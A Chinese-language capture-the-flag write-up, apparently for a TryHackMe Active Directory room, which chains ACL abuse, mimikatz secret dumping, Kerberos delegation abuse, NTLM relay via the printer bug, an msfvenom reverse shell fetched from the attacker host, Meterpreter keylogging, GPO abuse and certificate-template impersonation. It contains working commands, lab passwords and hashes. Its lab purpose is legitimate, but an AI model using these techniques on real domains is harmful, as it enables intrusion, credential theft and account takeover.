为了利用这些 ACE,我们需要一种与 AD 交互的方法来发出这些请求。这方面的两个最佳选择是 AD-RSAT PowerShell cmdlets 或 PowerSploit。根据漏洞和环境中的检测工具,其中一种方法可能更隐蔽。在本任务中,我们将展示这两种方法。
Bloodhound
因为我用的是提供执行好的文件,就没有自己跑 Sharphound 了,把结果导入 Bloodhound 后,搜索拿到的用户名。
在 Node Info -> EXECUTION RIGHTS -> Group Delegated RDP Privileges 看到 DOMAIN USERS 有能访问 THMWRK1 的 RDP
权限。
然后在 Node Info -> OUTBOUND CONTROL RIGHTS -> Group Delegated Object 看到 DOMAIN USERS 有对 IT SUPPORT 的 GenericWrite
权限。
然后我们一般是要拿到高权限用户的权限,所以用 BloodHound 的检索功能,把自己的账户放到首位,TIER 2 ADMINS@ZA.TRYHACKME.LOC
放到目标,生成一个图出来。

可以看到我们的用户组有对 IT SUPPORT 的 GenericWrite
权限,然后 IT SUPPORT 组有对 T2 组的强制改密码权限。当一个用户对一个组拥有 GenericWrite
权限时,就意味着他可以修改这个组的任何属性,包括 member
属性。
AddMember
我们会用 AD-RSAT 工具集中的 Add-ADGroupMember
PowerShell cmdlet 实现这个功能。
1
2
3
4
5
# 把我们的用户加入 IT Support 组
Add-ADGroupMember "IT Support" -Members "barbara.reid"
# 查看 IT Support 组成员
Get-ADGroupMember -Identity "IT Support"
强制改密码
现在我们的账户已经是 IT Support 组成员了,所以有对 Tier 2 组改密码的权限。
1
2
3
4
5
6
7
8
9
10
11
# 查看 T2 管理员组成员 找一个受害者
Get-ADGroupMember -Identity "Tier 2 Admins"
# 新建密码变量
$Password = ConvertTo-SecureString "Pass123..." -AsPlainText -Force
# 更改密码
Set-ADAccountPassword -Identity "t2_melanie.davies" -Reset -NewPassword $Password
# 如果提示拒绝,执行这个断开连接再连接
# 还不行就等 10 分钟左右
gpupdate /force
Exploiting Kerberos Delegation
Kerberos Double Hop issue
客户端希望使用 Kerberos 对第一台服务器(Hop 1)进行身份验证,而第一台服务器需要代表客户端访问第二台服务器(Hop 2)上的资源。常见的情况是用户访问前端应用程序时需要修改数据库服务器上的资源。
原始的 Kerberos 无法告诉第一台服务器:”OK,你可以访问服务器上的资源了: “您可以代表客户访问第 2 服务器上的资源。”
原始 Kerberos 协议的局限性
原始 Kerberos 协议的流程是这样的:
- 用户向 KDC (密钥分发中心) 证明自己的身份,并获得一个 **TGT (票据授权票据)**。
- 用户使用这个 TGT 向 KDC 请求一个专门用于访问 Hop 1 服务器的 **TGS (服务票据)**。
- 用户使用这个 TGS 向 Hop 1 服务器进行身份验证,并开始通信。
到这里,整个流程就结束了。Kerberos 的设计只考虑了客户端(用户)和第一个服务器(Hop 1)之间的通信。
为什么不能简单地转发 TGS?
- TGS 的加密机制:用户从 KDC 获得的 TGS 是用 Hop 1 服务器的密钥加密的。只有 Hop 1 服务器能解密它,并从中获得会话密钥。
- 无法将 TGS 转发给 Hop 2:Hop 2 服务器无法解密这个 TGS,因为它没有 Hop 1 服务器的密钥。因此,用户不能简单地将 TGS 转发给 Hop 2。
- 权限绑定:TGS 明确绑定了一个用户和一个特定服务。它不包含任何“代表他人”去访问其他服务的权限。原始协议没有“委托(delegation)”的概念。
解决方案:Kerberos 委派(Kerberos Delegation)
为了解决这个问题,微软和其他组织对 Kerberos 协议进行了扩展,引入了 Kerberos 委派的功能。
委派的核心思想是允许服务(例如 Hop 1 服务器)以用户的身份去向 KDC 请求一个新的 TGS,这个新的 TGS 是专门用于访问其他服务(例如 Hop 2 服务器)的。
这就是为什么现在有非约束性委派 (Unconstrained Delegation) 和约束性委派 (Constrained Delegation) 等多种委派形式。它们都是对原始 Kerberos 协议的增强,专门用于处理多跳的身份验证场景。
Constrained vs Unconstrained
Kerberos 委派有两种类型。在 Kerberos 委派最初的实现中,使用了**非约束性委派 (Unconstrained Delegation)**,这是最不安全的方法。
本质上,非约束性委派对委派没有施加任何限制。它的后台工作原理是:如果一个设置了 TRUSTED_FOR_DELEGATION
标志的用户在一个配置了非约束性委派的主机上进行身份验证,那么就会为这个用户账户生成一个 TGT,并将其存储在主机的内存中,以便将来需要时使用。
假设攻击者能够攻陷一个启用了非约束性委派的主机,他们就可以尝试强制一个特权账户(如域管理员)向该主机进行身份验证,这使他们能够拦截生成的 TGT,并冒充这个特权服务。如果你想看一个非约束性委派利用的例子,可以看这里。
为了克服无约束委托的安全缺陷,微软在 2003 年推出了受限委托。受限委托限制了账户可以委托给哪些服务,从而在账户受到威胁时限制了风险。以下是可配置授权的服务示例:
- HTTP - 用于 Web 应用程序,允许使用 AD 凭据进行直通式(pass-through)身份验证。
- CIFS - Common Internet File System,用于文件共享,允许将用户委派到文件共享。
- LDAP - 用于委派给 LDAP 服务,执行诸如重置用户密码之类的操作。
- HOST - 允许将账户委派给主机上的所有活动。
- MSSQL - 允许将用户账户委派给 SQL 服务,以进行数据库的直通式身份验证。
利用约束性委派通常比利用非约束性委派更复杂,因为被委派的账户不能被用于访问所有东西。如果我们能拿到一个有约束性委派的 AD 账户的话。知道他的明文密码甚至他的 NTLM hash,我们能生成这个账户的 TGT。然后我们可以使用这个 TGT 来为任何非敏感的用户账户执行一个 TGS 请求,以便以该用户的身份访问服务。
整个过程简单说是这样的:
- 攻击者:掌握了服务账户的密码。
- 攻击者利用这个服务账户的权限,伪造一个代表用户 A的票据。
- 攻击者使用这个伪造的票据,去向 KDC 申请一个冒充用户 A访问服务 B的票据。
冒充过程(攻击流程)
这个过程是利用了 Kerberos 的两个扩展协议:S4U2self
和 S4U2proxy
。攻击者在拥有了配置了约束性委派的服务账户凭据(密码或 NTLM 哈希)后,可以执行以下步骤:
生成服务账户的 TGT: 攻击者首先使用窃取的服务账户的凭据(密码或 NTLM 哈希),向 KDC(密钥分发中心)请求一个该服务账户的 TGT。有了这个 TGT,攻击者就完全拥有了这个服务账户的身份。
执行 S4U2self 请求(伪造身份): 攻击者现在以被攻陷的服务账户的身份,向 KDC 发出请求。这个请求的目的是“代表”另一个用户 A(即你说的“非敏感用户账户”),向 KDC 请求一个服务票据(TGS),但这个 TGS 是用于访问自己(服务账户本身)的。KDC 看到这个请求后,会检查服务账户是否被信任用于委派(即是否设置了
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
标志)。如果设置了,KDC 会信任这个请求,并为用户 A生成一个有效的、可转发的 TGS。这个 TGS 相当于 KDC 认可的一个“用户 A 的身份凭证”。执行 S4U2proxy 请求(冒充访问): 攻击者拿到上一步获得的“用户 A 的身份凭证”后,再次向 KDC 发出请求。这次的请求是希望以用户 A的身份,去访问一个被约束性委派允许访问的服务 B(例如,一个敏感数据库)。KDC 收到这个请求后,会进行严格的检查:
- 检查该服务账户是否被允许代表用户去访问服务 B。
- 这个检查是通过查看服务账户的
msDS-AllowedToDelegateTo
属性中是否包含服务 B 的 SPN。
如果检查通过,KDC 就会为攻击者(以服务账户的身份)颁发一个 TGS,这个 TGS 明确表示攻击者现在可以以用户 A的身份去访问服务 B。
访问目标服务: 攻击者使用这个 TGS,就可以冒充用户 A,去访问敏感数据库,并执行用户 A 有权限的任何操作。
什么是非敏感的用户账户?
在 Kerberos 委派的上下文中,“非敏感用户账户”指的是没有被设置为拒绝委派的账户。
在 Active Directory 中,某些账户可以被标记为“敏感且不可委派”(Account is sensitive and cannot be delegated
)或属于 Protected Users
组。
- 如果一个账户被标记为敏感,或者属于
Protected Users
组,那么 KDC 会拒绝任何 S4U 请求,即不允许其他服务账户代表这个用户去访问任何其他服务。 - 攻击者通常会选择那些没有这些安全标记的普通用户账户进行冒充。虽然攻击者无法冒充域管理员,但他们可以冒充一个有权访问敏感数据库的普通用户,这同样能造成巨大的危害。
Resource-Based Constrained Delegation
实际上,Kerberos 委派有三种类型。但这一种值得单独提出来说。基于资源的约束性委派(RBCD)由微软在 2012 年引入,它再次为 Kerberos 委派增加了额外的安全限制。
RBCD 彻底改变了委派模型。它不再是指定哪个对象可以委派给哪个服务,而是由服务本身来指定哪个对象可以委派给它。这使得服务所有者能够控制谁可以访问它。
在我们 Web 应用程序的例子中,这意味着我们不再需要在 Web 服务账户上指定它可以委派给数据库服务来访问数据库;而是可以在数据库服务上指定,允许 Web 服务账户委派访问它。
假设我们有权限为某个服务配置 RBCD。这意味着我们有能力为该服务的 AD 对象设置 msDS-AllowedToActOnBehalfOfOtherIdentity
属性。我们可以用我们拥有的一个 AD 账户的详细信息来填充这个属性。为了现在获得对该服务的访问权限,我们可以为我们控制的账户生成一个 TGT,这将允许我们与该服务进行交互。如果你想看一个 RBCD 漏洞利用的详细例子,可以看这里。
三种委派的区别
这三种委派方式的主要区别在于谁拥有权限控制权,以及权限的范围有多大。
非约束性委派 (Unconstrained Delegation)
- 控制权:权限控制权在服务账户本身。
- 权限范围:无限制。
- 工作原理:当用户访问一个配置了非约束性委派的服务器时,KDC 会将用户的 TGT (票据授权票据) 连同服务票据一起发送给服务器。服务器会将这个 TGT 存储在内存中。有了这个 TGT,服务器可以代表该用户去访问域中任何其他服务,没有任何限制。
- 安全性:最不安全。一旦攻击者攻陷了这台服务器,他们就可以从内存中窃取所有用户的 TGT,从而完全冒充这些用户,包括域管理员。
约束性委派 (Constrained Delegation)
- 控制权:权限控制权在服务账户。
- 权限范围:有限制,但受限于服务账户本身。
- 工作原理:管理员在 AD 中为服务账户配置一个列表,明确指定这个服务账户可以代表用户去访问哪些特定的服务(通过服务主名称 SPN 来指定)。当服务需要代表用户访问其他服务时,它会向 KDC 证明自己有代表用户的能力,然后 KDC 才会为它颁发一个专门用于访问指定服务的票据。
- 安全性:比非约束性委派安全得多,因为它限制了服务可以访问的资源范围。即使服务账户被攻陷,攻击者也只能冒充用户去访问这个列表中指定的那些服务。
基于资源的约束性委派 (Resource-Based Constrained Delegation, RBCD)
- 控制权:权限控制权在资源(或服务)所有者。
- 权限范围:有限制,且限制在资源本身。
- 工作原理:这种模式颠倒了控制逻辑。管理员不是在服务账户上配置它能访问哪些服务,而是在被访问的资源(例如 SQL 服务器)上配置一个列表,明确指定哪些服务账户被允许代表用户来访问它。
- 安全性:最安全。这种模式将权限控制权下放给了资源所有者,他们可以更精细地控制谁可以访问他们的资源。这使得横向移动攻击更加困难,因为攻击者即使攻陷了某个服务账户,也不能随意冒充用户去访问未授权的资源。
总结表格
特性 | 非约束性委派 | 约束性委派 | 基于资源的约束性委派 (RBCD) |
---|---|---|---|
控制权 | 服务账户 | 服务账户 | 资源账户 |
配置位置 | 服务账户对象上 | 服务账户对象上 | 资源(被访问服务)对象上 |
权限范围 | 域内所有服务 | 指定的服务列表 | 允许访问资源的特定服务列表 |
安全性 | 最低 | 较高 | 最高 |
实践
这个任务会利用受限制的委托完成,首先我们要做的是枚举可用的委托。让我们使用新的特权用户来执行网络命令。我们可以运行以下命令,使用 PowerSploit 的 Get-NetUser cmdlet 进行枚举:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth
logoncount : 39
badpasswordtime : 1/1/1601 12:00:00 AM
distinguishedname : CN=IIS Server,CN=Users,DC=za,DC=tryhackme,DC=loc
objectclass : {top, person, organizationalPerson, user}
displayname : IIS Server
lastlogontimestamp : 8/4/2025 11:50:10 AM
userprincipalname : svcIIS@za.tryhackme.loc
name : IIS Server
objectsid : S-1-5-21-3885271727-2693558621-2658995185-6155
samaccountname : svcIIS
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 8/4/2025 10:50:10 AM
instancetype : 4
usncreated : 78494
objectguid : 11e42287-0a25-4d73-800d-b62e2d2a2a4b
sn : Server
lastlogoff : 1/1/1601 12:00:00 AM
msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc, WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc,
http/THMSERVER1}
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=tryhackme,DC=loc
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : HTTP/svcServWeb.za.tryhackme.loc
givenname : IIS
lastlogon : 8/5/2025 2:43:56 AM
badpwdcount : 0
cn : IIS Server
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 4/27/2022 11:26:21 AM
primarygroupid : 513
pwdlastset : 4/29/2022 11:50:25 AM
usnchanged : 176228
从上面的输出(关注 msds-allowedtodelegateto
)我们可以看到 svcIIS 账户可以在 THMSERVER1 上委派 HTTP 和 WSWAN 服务。你会认为这意味着我们只能代表冒充用户访问网站。但是,PowerShell Remoting 也使用 HTTP 和 WSMAN 服务。最理想的选择是冒充 Tier 1 管理员,因为这样我们就能获得 THMSERVER1 的管理访问权限。
如果你在 THMWRK1 上执行适当的后渗透枚举,你会发现主机上有一个以 svcIIS
用户身份运行的服务。由于我们现在拥有管理权限,因此我们可以利用这一点来转储 LSASecrets,这是 Windows 注册表配置单元的一部分,其中存储了 Windows 服务等功能的凭据。
1
2
3
4
5
6
7
8
9
10
11
# 运行 mimikatz
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
# 提升到 SYSTEM 权限
token::elevate
# 从注册表配置单元提取明文凭据
lsadump::secrets
...
Secret : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: Password1@
现在有了 svcIIS 账户的密码,我们能用 Kekeo 和 Mimikatz 组合实现 Kerberos Delegation 攻击,我们会用 Kekeo 生成 ticket 然后用 Mimikatz 去加载 ticket 进内存。
1
2
3
4
5
6
7
8
9
# 找一个受害者
Get-ADGroupMember -Identity "Tier 1 Admins"
# t1_eileen.burton
# 执行 kekeo
C:\Tools\kekeo\x64\kekeo.exe
# 生成一个 svcIIS 的 TGT
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
现在我们有了可以执行委托的账户的 TGT,就可以为要冒充的账户伪造 TGS 请求了。我们需要对 HTTP 和 WSMAN 执行此操作,以便在 THMSERVER1 上创建 PSSession:
1
2
3
4
# 以用户 t1_eileen.burton 的身份生成一个 HTTP TGS
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_eileen.burton /service:http/THMSERVER1.za.tryhackme.loc
# 以用户 t1_eileen.burton 的身份生成一个 WSMAN TGS
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_eileen.burton /service:wsman/THMSERVER1.za.tryhackme.loc
现在用 mimikatz 导入这两个 TGS:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 打开 mimikatz
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
privilege::debug
# 载入 TGS
kerberos::ptt TGS_t1_eileen.burton@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
kerberos::ptt TGS_t1_eileen.burton@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
exit
# 使用 klist 查看载入的 TGS
klist
Current LogonId is 0:0x3bb224
Cached Tickets: (2)
#0> Client: t1_eileen.burton @ ZA.TRYHACKME.LOC
Server: http/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 8/5/2025 7:07:51 (local)
End Time: 8/5/2025 17:07:48 (local)
Renew Time: 8/12/2025 7:07:48 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
#1> Client: t1_eileen.burton @ ZA.TRYHACKME.LOC
Server: wsman/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 8/5/2025 7:08:01 (local)
End Time: 8/5/2025 17:07:48 (local)
Renew Time: 8/12/2025 7:07:48 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
# 进入 PSSession
Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
这下就有 THMSERVER1 的 Shell 了。
推荐阅读
What Is Kerberos Delegation? An Overview of Kerberos Delegation
Exploiting Relays
这个房间讲的就是利用 SMB 没用强制要求加密的漏洞,导致认证可以被截获。
Windows 主机都有一个机器账户。本质上,这是与该机器关联的用户账户。除非有人篡改过主机的账户,否则这些账户的密码是不可破解的。默认情况下,它们的密码长达 120 个字符(UTF16 编码),并每 30 天自动轮换一次。
在 AD 中,这些机器账户被大量用于不同的服务中。不同的域控制器使用它们的机器账户来同步 AD 的更新和更改。当你代表你正在工作的主机请求一个证书时,该主机的机器账户会被用于向 AD 证书服务进行身份验证。
在 AD 中有一个特殊情况,即一台机器对另一台机器拥有管理权限。本质上,在 AD 配置中,一台主机被授予了对另一台主机的管理权限。同样,这是预期的功能,例如必须进行同步的域控制器或 SQL 集群。然而,这些实例为强制认证提供了一个非常有趣的攻击途径。
使用以下的语法能在 BloodHound 中查询到这个途径:
1
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
这里我梳理一下,SERVER MANAGEMENT 组是 THMSERVER1 的管理员,然后 THMSERVER2 是 SERVER MANAGEMENT 组的一员,这就代表 THMSERVER2 对 THMSERVER1 有管理权限。
打印机 Bug
这个打印机漏洞是 MS-RPRN 协议(打印系统远程协议)的一个“功能”,它允许一个域用户远程强制运行了 Print Spooler 服务的目标主机向一个任意的 IP 地址进行身份验证。
因此,要利用这一点,除了拥有机器账户的管理权限之外,我们还需要满足以下四个条件:
- 一套有效的 AD 账户凭据。
- 与目标主机的 SMB 服务的网络连接。
- 目标主机必须运行 Print Spooler 服务。
- 主机必须没有强制启用 SMB 签名。
我们要在对 THMSERVER2 没有访问权限的情况下确定 Print Spooler Service 是否在运行。
1
2
3
4
GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc
# 如果提示 Access Denied 就用这个命令
Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc
如果都获取不到结果,直接忽略他,靶机环境肯定是可以用的
SMB 签名
为了中继强制的身份验证尝试,不应该强制启用 SMB 签名。允许 SMB 签名和强制启用 SMB 签名是有区别的。由于一些遗留系统不支持 SMB 签名,默认情况下,SMB 的配置是允许但非强制签名,这意味着只有在双方都支持时才会使用。由于我们将托管一个恶意的 SMB 服务器,我们可以确保我们的服务器不支持签名,从而强制目标不签署 SMB 身份验证尝试。
参考文章:https://www.freebuf.com/articles/network/383408.html
检查 SMB 强制签名是否打开可以用 nmap 扫描:
1
nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
我们会用 SpoolSample 实现这个认证中继攻击,强制 THMSERVER2 去向我们进行身份认证,再用 impacket 的 ntlmrelayx.py
中继到 THMSERVER1,这样我们就相当于有 THMSERVER2 的权限了(中继服务器把认证截获了,不是这台机器的 Shell 权限,指的是 THMSERVER2 访问 THMSERVER1 的权限)。
1
2
3
4
5
6
7
8
9
10
11
12
# 执行命令
python ntlmrelayx.py -smb2support -t smb://10.200.60.201 -c 'whoami /all' -debug
# 拿 Flag
python ntlmrelayx.py -smb2support -t smb://10.200.60.201 -c "powershell -c \"Get-Content C:/Users/Administrator.ZA/Desktop/flag3.txt\"" -debug
# 进 SMB 会话
python ntlmrelayx.py -smb2support -t smb://10.200.60.201 -i -debug
nc 127.0.0.1 11000
# RDP 连接到机器
xfreerdp3 /v:thmwrk1.za.tryhackme.loc /d:za.tryhackme.loc /u:t2_melanie.davies /p:Pass123... /timeout:60000
C:\Tools\SpoolSample.exe THMSERVER2.za.tryhackme.loc "10.50.57.85"
同时可以提取用户的 Hash 去爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Hashdump 要 10 分钟以上
python ntlmrelayx.py -smb2support -t smb://10.200.60.201 -debug
ServerAdmin:500:aad3b435b51404eeaad3b435b51404ee:3279a0c6dfe15dc3fb6e9c26dd9b066c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92728d5173fc94a54e84f8b457af63a8:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e96eab5f240174fe2754efc94f6a53ae:::
trevor.local:1001:aad3b435b51404eeaad3b435b51404ee:43460d636f269c709b20049cee36ae7a:::
# 用 Hashcat 爆破密码
./hashcat.exe hash.txt rockyou.txt
31d6cfe0d16ae931b73c59d7e0c089c0:
Approaching final keyspace - workload adjusted.
# 破解出来 trevor.local 账户的密码 RDP 登不上去
43460d636f269c709b20049cee36ae7a:Password1@
# SSH 也登不上去
ssh trevor.local@THMSERVER1.za.tryhackme.loc
Exploiting AD Users
现在我们在工作站和服务器上有完整的管理权了,现在可以进行后渗透了。
这一节是从用户下手,收集用户的使用习惯
- 凭证管理 - 用户如何存储其凭证。在 AD 中,这一点相当重要,因为用户可能有多套凭证,记住所有凭证可能会很麻烦,这一节会拿一个 KeePass 下手。
- 键盘记录和截屏
寻找密码管理器数据库
要找一个后缀是 .kdbx
的文件,这是 KeePass 的数据库文件,但是这个数据库被一个密码加密,我们还要找到这个密码。
这里用 Meterpreter 解决
1
2
3
4
5
6
7
8
9
10
11
# 生成小马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.50.57.85 LPORT=4444 -f exe -o shell.ps1
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.50.57.85; set LPORT 4444; exploit"
# 下载文件
certutil.exe -urlcache -split -f http://10.50.57.85:8081/shell.ps1
# curl 下载
wget -o shell.exe http://10.50.57.85:8081/shell.ps1
# 执行小马
./shell.ps1
找 kdbx 文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > search -d "C:/Users/" -f *.kdbx
Found 6 results...
==================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
C:\Users\Administrator.ZA\Documents\PasswordDatabase.kdbx 1886 2022-04-27 16:45:29 -0400
C:\Users\Administrator.ZA\My Documents\PasswordDatabase.kdbx 1886 2022-04-27 16:45:29 -0400
C:\Users\t1_trevor.jones\Documents\PasswordDatabase.kdbx 1886 2022-04-27 16:45:29 -0400
C:\Users\t1_trevor.jones\My Documents\PasswordDatabase.kdbx 1886 2022-04-27 16:45:29 -0400
C:\Users\trevor.local\Documents\PasswordDatabase.kdbx 2190 2022-04-30 11:36:02 -0400
C:\Users\trevor.local\My Documents\PasswordDatabase.kdbx 2190 2022-04-30 11:36:02 -0400
# 下载文件
download "C:\Users\Administrator.ZA\Documents\PasswordDatabase.kdbx" admin.kdbx
download "c:\Users\trevor.local\Documents\PasswordDatabase.kdbx" trevor.kdbx
寻找密码管理器主密码
现在就是要抓到那个数据库的密码了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 用这个命令看用户是不是活跃
ps | grep "explorer"
# 没回显就跟着下面做
# 进 shell
shell
# 改用户的密码
net user trevor.local Pass123...
# 登录 RDP
xfreerdp3 /v:10.200.60.201 /u:trevor.local /p:Pass123... /timeout:60000
# 查看 Explorer 的 PID
ps | grep "explorer"
# 转移到用户的会话下面
migrate 4360
# 抓用户输入
keyscan_start
# 过2分钟执行这个,就把输入抓出来了
keyscan_dump
Dumping captured keystrokes...
keep<CR>
<Shift>Imreallysurenoonewillguessmypassword<CR>
从这里下客户端:https://sourceforge.net/projects/keepass/files/KeePass%201.x/1.43/KeePass-1.43.zip/download
然后导入数据库,用抓到的密码解密,两个数据库我都帮你们看了,Administrator 用户是空的数据库,那个本地用户的数据库里有货。顺利拿到 flag 和一个 svcServMan 用户的密码。

Exploiting GPO
上一节拿到了 svcServMan 用户,我们就可以从这里下手,看看这个用户有什么用。

这个攻击路径非常清晰:
初始权限:我们拥有一个账户,它对 MANAGEMENT SERVER PUSHES GPO 拥有 GenericWrite 权限。
攻击目标:这个 GPO 通过 GpLink 链接到了 MANAGEMENT SERVER OU。
最终受害者:MANAGEMENT SERVER OU 包含了机器 THMSERVER2.ZA.TRYHACKME.LOC。
因此,我们可以利用 GenericWrite 权限修改 GPO 的内容,然后这个被修改的 GPO 会自动应用到 THMSERVER2 这台机器上,从而让我们控制这台主机。
组策略对象(GPO)
GPO 是一个包含各种策略设置的虚拟集合,每台 Windows 计算机都有一个本地策略配置,可设置防火墙、用户组、启动脚本和安全协议等。在大型组织中,为了集中管理这些设置,可以使用组策略管理(GPM)来在 Active Directory (AD) 结构上定义 GPO。
GPO 的存储与应用
所有 GPO 都以唯一的 GUID 名称存储在 AD 的 SYSVOL 目录下,并被复制到所有加入域的机器上。域内计算机每隔 15 分钟会自动从 SYSVOL 目录拉取 GPO 并应用相关策略。也可以通过手动运行 gpupdate
命令来立即应用。
Exploiting GPOs
在本地管理员组和本地远程桌面用户组中添加一个我们控制的 AD 账户。这样,我们就能获得 THMSERVER2 的管理权限,并能 RDP 登录。
为了修改 GPO,我们需要以拥有相关权限的 AD 用户身份访问组策略管理。使用 runas 命令将 AD 用户的凭据注入内存,然后打开 MMC 修改 GPO。
1
2
3
4
5
6
runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
Sup3rStr0ngPass!@
# 验证一下密码
dir \\za.tryhackme.loc\sysvol
# 打开 MMC
mmc
添加好管理单元然后展开,可以看到我们现在可以编辑这个 GPO。

把 IT Support 加入这个组就行。

等 15 分钟左右,让 GPO 生效,这下我们一开始加入 IT Support 组的用户就有对 THMSERVER2 的管理和 RDP 权限了。
1
xfreerdp3 /v:thmserver2.za.tryhackme.loc /d:za.tryhackme.loc /u:barbara.reid /p:Password1 /timeout:60000
Exploiting Certificates
利用证书生成 TGT (Ticket Granting Ticket) 的机制,是 Kerberos 协议的一个扩展功能,称为 PKINIT(Public Key Cryptography for Initial Authentication in Kerberos)。
简单来说,PKINIT 允许客户端使用数字证书来替代传统的用户名和密码进行 Kerberos 的初始认证,也就是获取 TGT 的过程。
SpecterOps 所做的研究和发布的白皮书显示,利用配置错误的证书模板进行权限升级和横向移动是可能的,主要讲的是用证书模板的一些参数,以下是示例:
- Client Authentication - 证书可用于客户端身份验证。
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - 证书模板允许我们指定 Subject Alternative Name (SAN)。
- CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - 证书可与私钥一起导出。
- Certificate Permissions - 我们拥有使用此证书模板所需的权限。
利用证书模板
1
2
# 导出证书模板
certutil -Template -v > templates.txt
[32] 号证书,我只保留了要关注的字段
1
2
3
4
5
6
7
8
9
Template[32]:
TemplatePropPrivateKeyFlags = 1010010 (16842768)
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
TemplatePropGeneralFlags = 20241 (131649)
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
Allow Enroll ZA\THMSERVER2$
Allow Auto-Enroll ZA\THMSERVER2$
Allow Read ZA\THMSERVER2$
安全漏洞点分析
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
这个标志是整个攻击的核心。它允许申请者自行指定证书的主体名称。
- 安全风险: 正常的证书申请,CA 会从你的 AD 账户信息中自动填充你的名字。但这个标志绕过了这个安全机制。
- 攻击利用: 攻击者可以利用这个点,在申请证书时将主体名称伪造成任何高权限用户(比如
Administrator
),从而冒充他人身份。
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY
这个标志使得私钥可以被导出。
- 安全风险: 私钥是证书的“密码”,它应该被安全地存储在设备上。如果私钥可以被导出,攻击者在获取证书后,就可以将私钥导出并保存在自己的攻击机上。
- 攻击利用: 攻击者可以偷走私钥,并将其导入到自己的设备中。这样,即使目标系统上的证书被吊销,攻击者仍然可以继续使用这个私钥进行身份验证,实现持久化访问。
Allow Enroll
forZA\THMSERVER2$
这个权限配置不当,是攻击的起点。
- 安全风险:
THMSERVER2$
是一个机器账户,通常权限较低。但这里,它被授予了申请这个证书模板的权限。 - 攻击利用: 攻击者只需要攻陷
THMSERVER2
这台机器,就可以利用它的机器账户权限,去申请一个具备上述所有漏洞(可自定义主体、可导出私钥)的证书。
这三点环环相扣,构成了一个完美的 AD 证书攻击链:
ZA\THMSERVER2$
拥有申请证书的权限。- 申请时,可以伪造主体名称为
Administrator
。 - 获得的证书的私钥可以被导出,从而实现持久化。
伪造证书
去 MMC 生成一张伪造 Administrator@za.tryhackme.loc 的证书,然后带私钥导出来,带私钥是为了生成 TGT,不懂的可以回顾之前 Kerberos 认证过程。
现在,我们终于可以冒充用户了。要做到这一点,需要两个步骤:
- 使用证书申请 TGT
- 将 TGT 加载到工具中
第一步,我们用 Rubeus 工具来实现这一点:
1
2
3
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:ABC.pfx /password:1 /outfile:tgt.tgt /domain:za.tryhackme.loc /dc:thmdc.za.tryhackme.loc
# 这里碰到了报错
[X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
报错 KDC_ERR_PADATA_TYPE_NOSUPP
